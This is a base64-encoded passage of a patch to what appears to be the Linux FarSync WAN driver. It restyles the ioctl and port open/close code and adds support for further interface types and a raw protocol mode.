ICAgICAgICAgICAgICAgYnJlYWs7Ci0gICAgICAgIH0KLQotCWlmIChpZnItPmlmcl9zZXR0aW5n cy5zaXplIDwgc2l6ZW9mKHN5bmMpKSB7Ci0JCWlmci0+aWZyX3NldHRpbmdzLnNpemUgPSBzaXpl b2Yoc3luYyk7IC8qIGRhdGEgc2l6ZSB3YW50ZWQgKi8KLQkJcmV0dXJuIC1FTk9CVUZTOwotCX0K LQotICAgICAgICBpID0gcG9ydC0+aW5kZXg7Ci0gICAgICAgIHN5bmMuY2xvY2tfcmF0ZSA9IEZT VF9SREwgKCBjYXJkLCBwb3J0Q29uZmlnW2ldLmxpbmVTcGVlZCApOwotICAgICAgICAvKiBMdWNr eSBjYXJkIGFuZCBsaW51eCB1c2Ugc2FtZSBlbmNvZGluZyBoZXJlICovCi0gICAgICAgIHN5bmMu Y2xvY2tfdHlwZSA9IEZTVF9SREIgKCBjYXJkLCBwb3J0Q29uZmlnW2ldLmludGVybmFsQ2xvY2sg KTsKLSAgICAgICAgc3luYy5sb29wYmFjayA9IDA7Ci0KLSAgICAgICAgaWYgKGNvcHlfdG9fdXNl ciAoaWZyLT5pZnJfc2V0dGluZ3MuaWZzX2lmc3Uuc3luYywgJnN5bmMsCi0JCQkgIHNpemVvZihz eW5jKSkpCi0gICAgICAgICAgICAgICAgcmV0dXJuIC1FRkFVTFQ7CisJaSA9IHBvcnQtPmluZGV4 OworCXN5bmMuY2xvY2tfcmF0ZSA9IEZTVF9SREwoY2FyZCwgcG9ydENvbmZpZ1tpXS5saW5lU3Bl ZWQpOworCS8qIEx1Y2t5IGNhcmQgYW5kIGxpbnV4IHVzZSBzYW1lIGVuY29kaW5nIGhlcmUgKi8K KwlzeW5jLmNsb2NrX3R5cGUgPSBGU1RfUkRCKGNhcmQsIHBvcnRDb25maWdbaV0uaW50ZXJuYWxD bG9jaykgPT0KKwkgICAgSU5UQ0xLID8gQ0xPQ0tfSU5UIDogQ0xPQ0tfRVhUOworCXN5bmMubG9v cGJhY2sgPSAwOwogCi0gICAgICAgIHJldHVybiAwOwotfQorCWlmIChjb3B5X3RvX3VzZXIoaWZy LT5pZnJfc2V0dGluZ3MuaWZzX2lmc3Uuc3luYywgJnN5bmMsIHNpemVvZiAoc3luYykpKSB7CisJ CXJldHVybiAtRUZBVUxUOworCX0KIAorCWlmci0+aWZyX3NldHRpbmdzLnNpemUgPSBzaXplb2Yg KHN5bmMpOworCXJldHVybiAwOworfQogCiBzdGF0aWMgaW50Ci1mc3RfaW9jdGwgKCBzdHJ1Y3Qg bmV0X2RldmljZSAqZGV2LCBzdHJ1Y3QgaWZyZXEgKmlmciwgaW50IGNtZCApCitmc3RfaW9jdGwo c3RydWN0IG5ldF9kZXZpY2UgKmRldiwgc3RydWN0IGlmcmVxICppZnIsIGludCBjbWQpCiB7Ci0g ICAgICAgIHN0cnVjdCBmc3RfY2FyZF9pbmZvICpjYXJkOwotICAgICAgICBzdHJ1Y3QgZnN0X3Bv cnRfaW5mbyAqcG9ydDsKLSAgICAgICAgc3RydWN0IGZzdGlvY193cml0ZSB3cnRoZHI7Ci0gICAg ICAgIHN0cnVjdCBmc3Rpb2NfaW5mbyBpbmZvOwotICAgICAgICB1bnNpZ25lZCBsb25nIGZsYWdz OwotCi0gICAgICAgIGRiZyAoIERCR19JT0NUTCwiaW9jdGw6ICV4LCAlcFxuIiwgY21kLCBpZnIt Pmlmcl9kYXRhICk7Ci0KLSAgICAgICAgcG9ydCA9IGRldl90b19wb3J0ICggZGV2ICk7Ci0gICAg ICAgIGNhcmQgPSBwb3J0LT5jYXJkOwotCi0gICAgICAgIGlmICggIWNhcGFibGUgKCBDQVBfTkVU X0FETUlOICkpCi0gICAgICAgICAgICAgICAgcmV0dXJuIC1FUEVSTTsKLQotICAgICAgICBzd2l0 Y2ggKCBjbWQgKQotICAgICAgICB7Ci0gICAgICAgIGNhc2UgRlNUQ1BVUkVTRVQ6Ci0gICAgICAg ICAgICAgICAgZnN0X2NwdXJlc2V0ICggY2FyZCApOwotICAgICAgICAgICAgICAgIGNhcmQtPnN0 YXRlID0gRlNUX1JFU0VUOwotICAgICAgICAgICAgICAgIHJldHVybiAwOwotCi0gICAgICAgIGNh c2UgRlNUQ1BVUkVMRUFTRToKLSAgICAgICAgICAgICAgICBmc3RfY3B1cmVsZWFzZSAoIGNhcmQg KTsKLSAgICAgICAgICAgICAgICBjYXJkLT5zdGF0ZSA9IEZTVF9TVEFSVElORzsKLSAgICAgICAg ICAgICAgICByZXR1cm4gMDsKLQotICAgICAgICBjYXNlIEZTVFdSSVRFOiAgICAgICAgICAgICAg ICAgIC8qIENvZGUgd3JpdGUgKGRvd25sb2FkKSAqLwotCi0gICAgICAgICAgICAgICAgLyogRmly c3QgY29weSBpbiB0aGUgaGVhZGVyIHdpdGggdGhlIGxlbmd0aCBhbmQgb2Zmc2V0IG9mIGRhdGEK LSAgICAgICAgICAgICAgICAgKiB0byB3cml0ZQotICAgICAgICAgICAgICAgICAqLwotICAgICAg ICAgICAgICAgIGlmICggaWZyLT5pZnJfZGF0YSA9PSBOVUxMICkKLSAgICAgICAgICAgICAgICB7 Ci0gICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gLUVJTlZBTDsKLSAgICAgICAgICAgICAg ICB9Ci0gICAgICAgICAgICAgICAgaWYgKCBjb3B5X2Zyb21fdXNlciAoICZ3cnRoZHIsIGlmci0+ aWZyX2RhdGEsCi0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc2l6ZW9m ICggc3RydWN0IGZzdGlvY193cml0ZSApKSkKLSAgICAgICAgICAgICAgICB7Ci0gICAgICAgICAg ICAgICAgICAgICAgICByZXR1cm4gLUVGQVVMVDsKLSAgICAgICAgICAgICAgICB9CisJc3RydWN0 IGZzdF9jYXJkX2luZm8gKmNhcmQ7CisJc3RydWN0IGZzdF9wb3J0X2luZm8gKnBvcnQ7CisJc3Ry dWN0IGZzdGlvY193cml0ZSB3cnRoZHI7CisJc3RydWN0IGZzdGlvY19pbmZvIGluZm87CisJdW5z aWduZWQgbG9uZyBmbGFnczsKIAotICAgICAgICAgICAgICAgIC8qIFNhbml0eSBjaGVjayB0aGUg cGFyYW1ldGVycy4gV2UgZG9uJ3Qgc3VwcG9ydCBwYXJ0aWFsIHdyaXRlcwotICAgICAgICAgICAg ICAgICAqIHdoZW4gZ29pbmcgb3ZlciB0aGUgdG9wCi0gICAgICAgICAgICAgICAgICovCi0gICAg ICAgICAgICAgICAgaWYgKCB3cnRoZHIuc2l6ZSA+IEZTVF9NRU1TSVpFIHx8IHdydGhkci5vZmZz ZXQgPiBGU1RfTUVNU0laRQotCQkJCXx8IHdydGhkci5zaXplICsgd3J0aGRyLm9mZnNldCA+IEZT VF9NRU1TSVpFICkKLSAgICAgICAgICAgICAgICB7Ci0gICAgICAgICAgICAgICAgICAgICAgICBy ZXR1cm4gLUVOWElPOwotICAgICAgICAgICAgICAgIH0KKwlkYmcoREJHX0lPQ1RMLCAiaW9jdGw6 ICV4LCAlcFxuIiwgY21kLCBpZnItPmlmcl9kYXRhKTsKIAotICAgICAgICAgICAgICAgIC8qIE5v dyBjb3B5IHRoZSBkYXRhIHRvIHRoZSBjYXJkLgotICAgICAgICAgICAgICAgICAqIFRoaXMgd2ls bCBwcm9iYWJseSBicmVhayBvbiBzb21lIGFyY2hpdGVjdHVyZXMuCi0gICAgICAgICAgICAgICAg ICogSSdsbCBmaXggaXQgd2hlbiBJIGhhdmUgc29tZXRoaW5nIHRvIHRlc3Qgb24uCi0gICAgICAg ICAgICAgICAgICovCi0gICAgICAgICAgICAgICAgaWYgKCBjb3B5X2Zyb21fdXNlciAoIGNhcmQt Pm1lbSArIHdydGhkci5vZmZzZXQsCi0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlm ci0+aWZyX2RhdGEgKyBzaXplb2YgKCBzdHJ1Y3QgZnN0aW9jX3dyaXRlICksCi0gICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgIHdydGhkci5zaXplICkpCi0gICAgICAgICAgICAgICAgewot ICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIC1FRkFVTFQ7Ci0gICAgICAgICAgICAgICAg fQorCXBvcnQgPSBkZXZfdG9fcG9ydChkZXYpOworCWNhcmQgPSBwb3J0LT5jYXJkOwogCi0gICAg ICAgICAgICAgICAgLyogV3JpdGVzIHRvIHRoZSBtZW1vcnkgb2YgYSBjYXJkIGluIHRoZSByZXNl dCBzdGF0ZSBjb25zdGl0dXRlCi0gICAgICAgICAgICAgICAgICogYSBkb3dubG9hZAotICAgICAg ICAgICAgICAgICAqLwotICAgICAgICAgICAgICAgIGlmICggY2FyZC0+c3RhdGUgPT0gRlNUX1JF U0VUICkKLSAgICAgICAgICAgICAgICB7Ci0gICAgICAgICAgICAgICAgICAgICAgICBjYXJkLT5z dGF0ZSA9IEZTVF9ET1dOTE9BRDsKLSAgICAgICAgICAgICAgICB9Ci0gICAgICAgICAgICAgICAg cmV0dXJuIDA7CisJaWYgKCFjYXBhYmxlKENBUF9ORVRfQURNSU4pKQorCQlyZXR1cm4gLUVQRVJN OwogCi0gICAgICAgIGNhc2UgRlNUR0VUQ09ORjoKKwlzd2l0Y2ggKGNtZCkgeworCWNhc2UgRlNU Q1BVUkVTRVQ6CisJCWZzdF9jcHVyZXNldChjYXJkKTsKKwkJY2FyZC0+c3RhdGUgPSBGU1RfUkVT RVQ7CisJCXJldHVybiAwOwogCi0gICAgICAgICAgICAgICAgLyogSWYgY2FyZCBoYXMganVzdCBi ZWVuIHN0YXJ0ZWQgY2hlY2sgdGhlIHNoYXJlZCBtZW1vcnkgY29uZmlnCi0gICAgICAgICAgICAg ICAgICogdmVyc2lvbiBhbmQgbWFya2VyCi0gICAgICAgICAgICAgICAgICovCi0gICAgICAgICAg ICAgICAgaWYgKCBjYXJkLT5zdGF0ZSA9PSBGU1RfU1RBUlRJTkcgKQotICAgICAgICAgICAgICAg IHsKLSAgICAgICAgICAgICAgICAgICAgICAgIGNoZWNrX3N0YXJ0ZWRfb2sgKCBjYXJkICk7Ci0K LSAgICAgICAgICAgICAgICAgICAgICAgIC8qIElmIGV2ZXJ5dGhpbmcgY2hlY2tlZCBvdXQgZW5h YmxlIGNhcmQgaW50ZXJydXB0cyAqLwotICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCBjYXJk LT5zdGF0ZSA9PSBGU1RfUlVOTklORyApCi0gICAgICAgICAgICAgICAgICAgICAgICB7Ci0gICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgIHNwaW5fbG9ja19pcnFzYXZlICggJmNhcmQtPmNh cmRfbG9jaywgZmxhZ3MgKTsKLSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZnN0X2Ns ZWFyX2ludHIgKCBjYXJkICk7Ci0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEZTVF9X UkIgKCBjYXJkLCBpbnRlcnJ1cHRIYW5kc2hha2UsIDB4RUUgKTsKLSAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgc3Bpbl91bmxvY2tfaXJxcmVzdG9yZSAoICZjYXJkLT5jYXJkX2xvY2ss Ci0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgZmxhZ3MgKTsKLSAgICAgICAgICAgICAgICAgICAgICAgIH0KLSAgICAgICAgICAg ICAgICB9CisJY2FzZSBGU1RDUFVSRUxFQVNFOgorCQlmc3RfY3B1cmVsZWFzZShjYXJkKTsKKwkJ Y2FyZC0+c3RhdGUgPSBGU1RfU1RBUlRJTkc7CisJCXJldHVybiAwOwogCi0gICAgICAgICAgICAg ICAgaWYgKCBpZnItPmlmcl9kYXRhID09IE5VTEwgKQotICAgICAgICAgICAgICAgIHsKLSAgICAg ICAgICAgICAgICAgICAgICAgIHJldHVybiAtRUlOVkFMOwotICAgICAgICAgICAgICAgIH0KKwlj YXNlIEZTVFdSSVRFOgkJLyogQ29kZSB3cml0ZSAoZG93bmxvYWQpICovCiAKLSAgICAgICAgICAg ICAgICBnYXRoZXJfY29uZl9pbmZvICggY2FyZCwgcG9ydCwgJmluZm8gKTsKKwkJLyogRmlyc3Qg Y29weSBpbiB0aGUgaGVhZGVyIHdpdGggdGhlIGxlbmd0aCBhbmQgb2Zmc2V0IG9mIGRhdGEKKwkJ ICogdG8gd3JpdGUKKwkJICovCisJCWlmIChpZnItPmlmcl9kYXRhID09IE5VTEwpIHsKKwkJCXJl dHVybiAtRUlOVkFMOworCQl9CisJCWlmIChjb3B5X2Zyb21fdXNlcigmd3J0aGRyLCBpZnItPmlm cl9kYXRhLAorCQkJCSAgIHNpemVvZiAoc3RydWN0IGZzdGlvY193cml0ZSkpKSB7CisJCQlyZXR1 cm4gLUVGQVVMVDsKKwkJfQogCi0gICAgICAgICAgICAgICAgaWYgKCBjb3B5X3RvX3VzZXIgKCBp ZnItPmlmcl9kYXRhLCAmaW5mbywgc2l6ZW9mICggaW5mbyApKSkKLSAgICAgICAgICAgICAgICB7 Ci0gICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gLUVGQVVMVDsKLSAgICAgICAgICAgICAg ICB9Ci0gICAgICAgICAgICAgICAgcmV0dXJuIDA7CisJCS8qIFNhbml0eSBjaGVjayB0aGUgcGFy YW1ldGVycy4gV2UgZG9uJ3Qgc3VwcG9ydCBwYXJ0aWFsIHdyaXRlcworCQkgKiB3aGVuIGdvaW5n IG92ZXIgdGhlIHRvcAorCQkgKi8KKwkJaWYgKHdydGhkci5zaXplID4gRlNUX01FTVNJWkUgfHwg d3J0aGRyLm9mZnNldCA+IEZTVF9NRU1TSVpFCisJCSAgICB8fCB3cnRoZHIuc2l6ZSArIHdydGhk ci5vZmZzZXQgPiBGU1RfTUVNU0laRSkgeworCQkJcmV0dXJuIC1FTlhJTzsKKwkJfQogCi0gICAg ICAgIGNhc2UgRlNUU0VUQ09ORjoKKwkJLyogTm93IGNvcHkgdGhlIGRhdGEgdG8gdGhlIGNhcmQu CisJCSAqIFRoaXMgd2lsbCBwcm9iYWJseSBicmVhayBvbiBzb21lIGFyY2hpdGVjdHVyZXMuCisJ CSAqIEknbGwgZml4IGl0IHdoZW4gSSBoYXZlIHNvbWV0aGluZyB0byB0ZXN0IG9uLgorCQkgKi8K KwkJaWYgKGNvcHlfZnJvbV91c2VyKGNhcmQtPm1lbSArIHdydGhkci5vZmZzZXQsCisJCQkJICAg aWZyLT5pZnJfZGF0YSArIHNpemVvZiAoc3RydWN0IGZzdGlvY193cml0ZSksCisJCQkJICAgd3J0 aGRyLnNpemUpKSB7CisJCQlyZXR1cm4gLUVGQVVMVDsKKwkJfQogCi0gICAgICAgICAgICAgICAg LyogTW9zdCBvZiB0aGUgc2V0dGluZyBoYXZlIGJlZW4gbW92ZWQgdG8gdGhlIGdlbmVyaWMgaW9j dGxzCi0gICAgICAgICAgICAgICAgICogdGhpcyBqdXN0IGNvdmVycyBkZWJ1ZyBhbmQgYm9hcmQg aWRlbnQgbW9kZSBub3cKLSAgICAgICAgICAgICAgICAgKi8KLSAgICAgICAgICAgICAgICBpZiAo IGNvcHlfZnJvbV91c2VyICggJmluZm8sICBpZnItPmlmcl9kYXRhLCBzaXplb2YgKCBpbmZvICkp KQotICAgICAgICAgICAgICAgIHsKLSAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAtRUZB VUxUOwotICAgICAgICAgICAgICAgIH0KKwkJLyogV3JpdGVzIHRvIHRoZSBtZW1vcnkgb2YgYSBj YXJkIGluIHRoZSByZXNldCBzdGF0ZSBjb25zdGl0dXRlCisJCSAqIGEgZG93bmxvYWQKKwkJICov CisJCWlmIChjYXJkLT5zdGF0ZSA9PSBGU1RfUkVTRVQpIHsKKwkJCWNhcmQtPnN0YXRlID0gRlNU X0RPV05MT0FEOworCQl9CisJCXJldHVybiAwOwogCi0gICAgICAgICAgICAgICAgcmV0dXJuIHNl dF9jb25mX2Zyb21faW5mbyAoIGNhcmQsIHBvcnQsICZpbmZvICk7CisJY2FzZSBGU1RHRVRDT05G OgogCi0gICAgICAgIGNhc2UgU0lPQ1dBTkRFVjoKLSAgICAgICAgICAgICAgICBzd2l0Y2ggKGlm ci0+aWZyX3NldHRpbmdzLnR5cGUpCi0gICAgICAgICAgICAgICAgewotICAgICAgICAgICAgICAg IGNhc2UgSUZfR0VUX0lGQUNFOgotICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZzdF9n ZXRfaWZhY2UgKCBjYXJkLCBwb3J0LCBpZnIgKTsKLQotICAgICAgICAgICAgICAgIGNhc2UgSUZf SUZBQ0VfU1lOQ19TRVJJQUw6Ci0gICAgICAgICAgICAgICAgY2FzZSBJRl9JRkFDRV9WMzU6Ci0g ICAgICAgICAgICAgICAgY2FzZSBJRl9JRkFDRV9WMjQ6Ci0gICAgICAgICAgICAgICAgY2FzZSBJ Rl9JRkFDRV9YMjE6Ci0gICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gZnN0X3NldF9pZmFj ZSAoIGNhcmQsIHBvcnQsIGlmciApOworCQkvKiBJZiBjYXJkIGhhcyBqdXN0IGJlZW4gc3RhcnRl ZCBjaGVjayB0aGUgc2hhcmVkIG1lbW9yeSBjb25maWcKKwkJICogdmVyc2lvbiBhbmQgbWFya2Vy CisJCSAqLworCQlpZiAoY2FyZC0+c3RhdGUgPT0gRlNUX1NUQVJUSU5HKSB7CisJCQljaGVja19z dGFydGVkX29rKGNhcmQpOwogCi0gICAgICAgICAgICAgICAgZGVmYXVsdDoKLSAgICAgICAgICAg ICAgICAgICAgICAgIHJldHVybiBoZGxjX2lvY3RsICggZGV2LCBpZnIsIGNtZCApOwotICAgICAg ICAgICAgICAgIH0KKwkJCS8qIElmIGV2ZXJ5dGhpbmcgY2hlY2tlZCBvdXQgZW5hYmxlIGNhcmQg aW50ZXJydXB0cyAqLworCQkJaWYgKGNhcmQtPnN0YXRlID09IEZTVF9SVU5OSU5HKSB7CisJCQkJ c3Bpbl9sb2NrX2lycXNhdmUoJmNhcmQtPmNhcmRfbG9jaywgZmxhZ3MpOworCQkJCWZzdF9lbmFi bGVfaW50cihjYXJkKTsKKwkJCQlGU1RfV1JCKGNhcmQsIGludGVycnVwdEhhbmRzaGFrZSwgMHhF RSk7CisJCQkJc3Bpbl91bmxvY2tfaXJxcmVzdG9yZSgmY2FyZC0+Y2FyZF9sb2NrLCBmbGFncyk7 CisJCQl9CisJCX0KIAotICAgICAgICBkZWZhdWx0OgotICAgICAgICAgICAgICAgIC8qIE5vdCBv bmUgb2Ygb3Vycy4gUGFzcyB0aHJvdWdoIHRvIEhETEMgcGFja2FnZSAqLwotICAgICAgICAgICAg ICAgIHJldHVybiBoZGxjX2lvY3RsICggZGV2LCBpZnIsIGNtZCApOwotICAgICAgICB9Ci19CisJ CWlmIChpZnItPmlmcl9kYXRhID09IE5VTEwpIHsKKwkJCXJldHVybiAtRUlOVkFMOworCQl9CiAK KwkJZ2F0aGVyX2NvbmZfaW5mbyhjYXJkLCBwb3J0LCAmaW5mbyk7CiAKLXN0YXRpYyB2b2lkCi1m c3Rfb3BlbnBvcnQgKCBzdHJ1Y3QgZnN0X3BvcnRfaW5mbyAqcG9ydCApCi17Ci0gICAgICAgIGlu dCBzaWduYWxzOworCQlpZiAoY29weV90b191c2VyKGlmci0+aWZyX2RhdGEsICZpbmZvLCBzaXpl b2YgKGluZm8pKSkgeworCQkJcmV0dXJuIC1FRkFVTFQ7CisJCX0KKwkJcmV0dXJuIDA7CiAKLSAg ICAgICAgLyogT25seSBpbml0IHRoaW5ncyBpZiBjYXJkIGlzIGFjdHVhbGx5IHJ1bm5pbmcuIFRo aXMgYWxsb3dzIG9wZW4gdG8KLSAgICAgICAgICogc3VjY2VlZCBmb3IgZG93bmxvYWRzIGV0Yy4K LSAgICAgICAgICovCi0gICAgICAgIGlmICggcG9ydC0+Y2FyZC0+c3RhdGUgPT0gRlNUX1JVTk5J TkcgKQotICAgICAgICB7Ci0gICAgICAgICAgICAgICAgaWYgKCBwb3J0LT5ydW4gKQotICAgICAg ICAgICAgICAgIHsKLSAgICAgICAgICAgICAgICAgICAgICAgIGRiZyAoIERCR19PUEVOLCJvcGVu OiBmb3VuZCBwb3J0IGFscmVhZHkgcnVubmluZ1xuIik7CisJY2FzZSBGU1RTRVRDT05GOgogCi0g ICAgICAgICAgICAgICAgICAgICAgICBmc3RfaXNzdWVfY21kICggcG9ydCwgU1RPUFBPUlQgKTsK LSAgICAgICAgICAgICAgICAgICAgICAgIHBvcnQtPnJ1biA9IDA7Ci0gICAgICAgICAgICAgICAg fQorCQkvKgorCQkgKiBNb3N0IG9mIHRoZSBzZXR0aW5ncyBoYXZlIGJlZW4gbW92ZWQgdG8gdGhl IGdlbmVyaWMgaW9jdGxzCisJCSAqIHRoaXMganVzdCBjb3ZlcnMgZGVidWcgYW5kIGJvYXJkIGlk ZW50IG5vdworCQkgKi8KKworCQlpZiAoY2FyZC0+c3RhdGUgIT0gRlNUX1JVTk5JTkcpIHsKKwkJ CXByaW50a19lcnIKKwkJCSAgICAoIkF0dGVtcHQgdG8gY29uZmlndXJlIGNhcmQgJWQgaW4gbm9u LXJ1bm5pbmcgc3RhdGUgKCVkKVxuIiwKKwkJCSAgICAgY2FyZC0+Y2FyZF9ubywgY2FyZC0+c3Rh dGUpOworCQkJcmV0dXJuIC1FSU87CisJCX0KKwkJaWYgKGNvcHlfZnJvbV91c2VyKCZpbmZvLCBp ZnItPmlmcl9kYXRhLCBzaXplb2YgKGluZm8pKSkgeworCQkJcmV0dXJuIC1FRkFVTFQ7CisJCX0K IAotICAgICAgICAgICAgICAgIGZzdF9yeF9jb25maWcgKCBwb3J0ICk7Ci0gICAgICAgICAgICAg ICAgZnN0X3R4X2NvbmZpZyAoIHBvcnQgKTsKLSAgICAgICAgICAgICAgICBmc3Rfb3BfcmFpc2Ug KCBwb3J0LCBPUFNUU19SVFMgfCBPUFNUU19EVFIgKTsKKwkJcmV0dXJuIHNldF9jb25mX2Zyb21f aW5mbyhjYXJkLCBwb3J0LCAmaW5mbyk7CiAKLSAgICAgICAgICAgICAgICBmc3RfaXNzdWVfY21k ICggcG9ydCwgU1RBUlRQT1JUICk7Ci0gICAgICAgICAgICAgICAgcG9ydC0+cnVuID0gMTsKKwlj YXNlIFNJT0NXQU5ERVY6CisJCXN3aXRjaCAoaWZyLT5pZnJfc2V0dGluZ3MudHlwZSkgeworCQlj YXNlIElGX0dFVF9JRkFDRToKKwkJCXJldHVybiBmc3RfZ2V0X2lmYWNlKGNhcmQsIHBvcnQsIGlm cik7CisKKwkJY2FzZSBJRl9JRkFDRV9TWU5DX1NFUklBTDoKKwkJY2FzZSBJRl9JRkFDRV9WMzU6 CisJCWNhc2UgSUZfSUZBQ0VfVjI0OgorCQljYXNlIElGX0lGQUNFX1gyMToKKwkJY2FzZSBJRl9J RkFDRV9YMjFEOgorCQljYXNlIElGX0lGQUNFX1QxOgorCQljYXNlIElGX0lGQUNFX0UxOgorCQkJ cmV0dXJuIGZzdF9zZXRfaWZhY2UoY2FyZCwgcG9ydCwgaWZyKTsKKworCQljYXNlIElGX1BST1RP X1JBVzoKKwkJCXBvcnQtPm1vZGUgPSBGU1RfUkFXOworCQkJcmV0dXJuIDA7CisKKwkJY2FzZSBJ Rl9HRVRfUFJPVE86CisJCQlpZiAocG9ydC0+bW9kZSA9PSBGU1RfUkFXKSB7CisJCQkJaWZyLT5p ZnJfc2V0dGluZ3MudHlwZSA9IElGX1BST1RPX1JBVzsKKwkJCQlyZXR1cm4gMDsKKwkJCX0KKwkJ CXJldHVybiBoZGxjX2lvY3RsKGRldiwgaWZyLCBjbWQpOworCisJCWRlZmF1bHQ6CisJCQlwb3J0 LT5tb2RlID0gRlNUX0dFTl9IRExDOworCQkJZGJnKERCR19JT0NUTCwgIlBhc3NpbmcgdGhpcyB0 eXBlIHRvIGhkbGMgJXhcbiIsCisJCQkgICAgaWZyLT5pZnJfc2V0dGluZ3MudHlwZSk7CisJCQly ZXR1cm4gaGRsY19pb2N0bChkZXYsIGlmciwgY21kKTsKKwkJfQogCi0gICAgICAgICAgICAgICAg c2lnbmFscyA9IEZTVF9SREwgKCBwb3J0LT5jYXJkLCB2MjREZWJvdW5jZWRTdHNbcG9ydC0+aW5k ZXhdKTsKLSAgICAgICAgICAgICAgICBpZiAoIHNpZ25hbHMgJiAoKCBwb3J0LT5od2lmID09IFgy MSApID8gSVBTVFNfSU5ESUNBVEUKLSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgIDogSVBTVFNfRENEICkpCi0gICAgICAgICAgICAgICAgICAgICAg ICBuZXRpZl9jYXJyaWVyX29uICggcG9ydF90b19kZXYgKCBwb3J0ICkpOwotICAgICAgICAgICAg ICAgIGVsc2UKLSAgICAgICAgICAgICAgICAgICAgICAgIG5ldGlmX2NhcnJpZXJfb2ZmICggcG9y dF90b19kZXYgKCBwb3J0ICkpOwotICAgICAgICB9CisJZGVmYXVsdDoKKwkJLyogTm90IG9uZSBv ZiBvdXJzLiBQYXNzIHRocm91Z2ggdG8gSERMQyBwYWNrYWdlICovCisJCXJldHVybiBoZGxjX2lv Y3RsKGRldiwgaWZyLCBjbWQpOworCX0KIH0KIAogc3RhdGljIHZvaWQKLWZzdF9jbG9zZXBvcnQg KCBzdHJ1Y3QgZnN0X3BvcnRfaW5mbyAqcG9ydCApCitmc3Rfb3BlbnBvcnQoc3RydWN0IGZzdF9w b3J0X2luZm8gKnBvcnQpCiB7Ci0gICAgICAgIGlmICggcG9ydC0+Y2FyZC0+c3RhdGUgPT0gRlNU X1JVTk5JTkcgKQotICAgICAgICB7Ci0gICAgICAgICAgICAgICAgaWYgKCBwb3J0LT5ydW4gKQot ICAgICAgICAgICAgICAgIHsKLSAgICAgICAgICAgICAgICAgICAgICAgIHBvcnQtPnJ1biA9IDA7 Ci0gICAgICAgICAgICAgICAgICAgICAgICBmc3Rfb3BfbG93ZXIgKCBwb3J0LCBPUFNUU19SVFMg fCBPUFNUU19EVFIgKTsKKwlpbnQgc2lnbmFsczsKKwlpbnQgdHhxX2xlbmd0aDsKKworCS8qIE9u bHkgaW5pdCB0aGluZ3MgaWYgY2FyZCBpcyBhY3R1YWxseSBydW5uaW5nLiBUaGlzIGFsbG93cyBv cGVuIHRvCisJICogc3VjY2VlZCBmb3IgZG93bmxvYWRzIGV0Yy4KKwkgKi8KKwlpZiAocG9ydC0+ Y2FyZC0+c3RhdGUgPT0gRlNUX1JVTk5JTkcpIHsKKwkJaWYgKHBvcnQtPnJ1bikgeworCQkJZGJn KERCR19PUEVOLCAib3BlbjogZm91bmQgcG9ydCBhbHJlYWR5IHJ1bm5pbmdcbiIpOworCisJCQlm c3RfaXNzdWVfY21kKHBvcnQsIFNUT1BQT1JUKTsKKwkJCXBvcnQtPnJ1biA9IDA7CisJCX0KKwor CQlmc3RfcnhfY29uZmlnKHBvcnQpOworCQlmc3RfdHhfY29uZmlnKHBvcnQpOworCQlmc3Rfb3Bf cmFpc2UocG9ydCwgT1BTVFNfUlRTIHwgT1BTVFNfRFRSKTsKKworCQlmc3RfaXNzdWVfY21kKHBv cnQsIFNUQVJUUE9SVCk7CisJCXBvcnQtPnJ1biA9IDE7CisKKwkJc2lnbmFscyA9IEZTVF9SREwo cG9ydC0+Y2FyZCwgdjI0RGVib3VuY2VkU3RzW3BvcnQtPmluZGV4XSk7CisJCWlmIChzaWduYWxz ICYgKCgocG9ydC0+aHdpZiA9PSBYMjEpIHx8IChwb3J0LT5od2lmID09IFgyMUQpKQorCQkJICAg ICAgID8gSVBTVFNfSU5ESUNBVEUgOiBJUFNUU19EQ0QpKQorCQkJbmV0aWZfY2Fycmllcl9vbihw b3J0X3RvX2Rldihwb3J0KSk7CisJCWVsc2UKKwkJCW5ldGlmX2NhcnJpZXJfb2ZmKHBvcnRfdG9f ZGV2KHBvcnQpKTsKKworCQl0eHFfbGVuZ3RoID0gcG9ydC0+dHhxZSAtIHBvcnQtPnR4cXM7CisJ CXBvcnQtPnR4cWUgPSAwOworCQlwb3J0LT50eHFzID0gMDsKKwl9CiAKLSAgICAgICAgICAgICAg ICAgICAgICAgIGZzdF9pc3N1ZV9jbWQgKCBwb3J0LCBTVE9QUE9SVCApOwotICAgICAgICAgICAg ICAgIH0KLSAgICAgICAgICAgICAgICBlbHNlCi0gICAgICAgICAgICAgICAgewotICAgICAgICAg ICAgICAgICAgICAgICAgZGJnICggREJHX09QRU4sImNsb3NlOiBwb3J0IG5vdCBydW5uaW5nXG4i KTsKLSAgICAgICAgICAgICAgICB9Ci0gICAgICAgIH0KIH0KIAorc3RhdGljIHZvaWQKK2ZzdF9j bG9zZXBvcnQoc3RydWN0IGZzdF9wb3J0X2luZm8gKnBvcnQpCit7CisJaWYgKHBvcnQtPmNhcmQt PnN0YXRlID09IEZTVF9SVU5OSU5HKSB7CisJCWlmIChwb3J0LT5ydW4pIHsKKwkJCXBvcnQtPnJ1 biA9IDA7CisJCQlmc3Rfb3BfbG93ZXIocG9ydCwgT1BTVFNfUlRTIHwgT1BTVFNfRFRSKTsKKwor CQkJZnN0X2lzc3VlX2NtZChwb3J0LCBTVE9QUE9SVCk7CisJCX0gZWxzZSB7CisJCQlkYmcoREJH X09QRU4sICJjbG9zZTogcG9ydCBub3QgcnVubmluZ1xuIik7CisJCX0KKwl9Cit9CiAKIHN0YXRp YyBpbnQKLWZzdF9vcGVuICggc3RydWN0IG5ldF9kZXZpY2UgKmRldiApCitmc3Rfb3BlbihzdHJ1 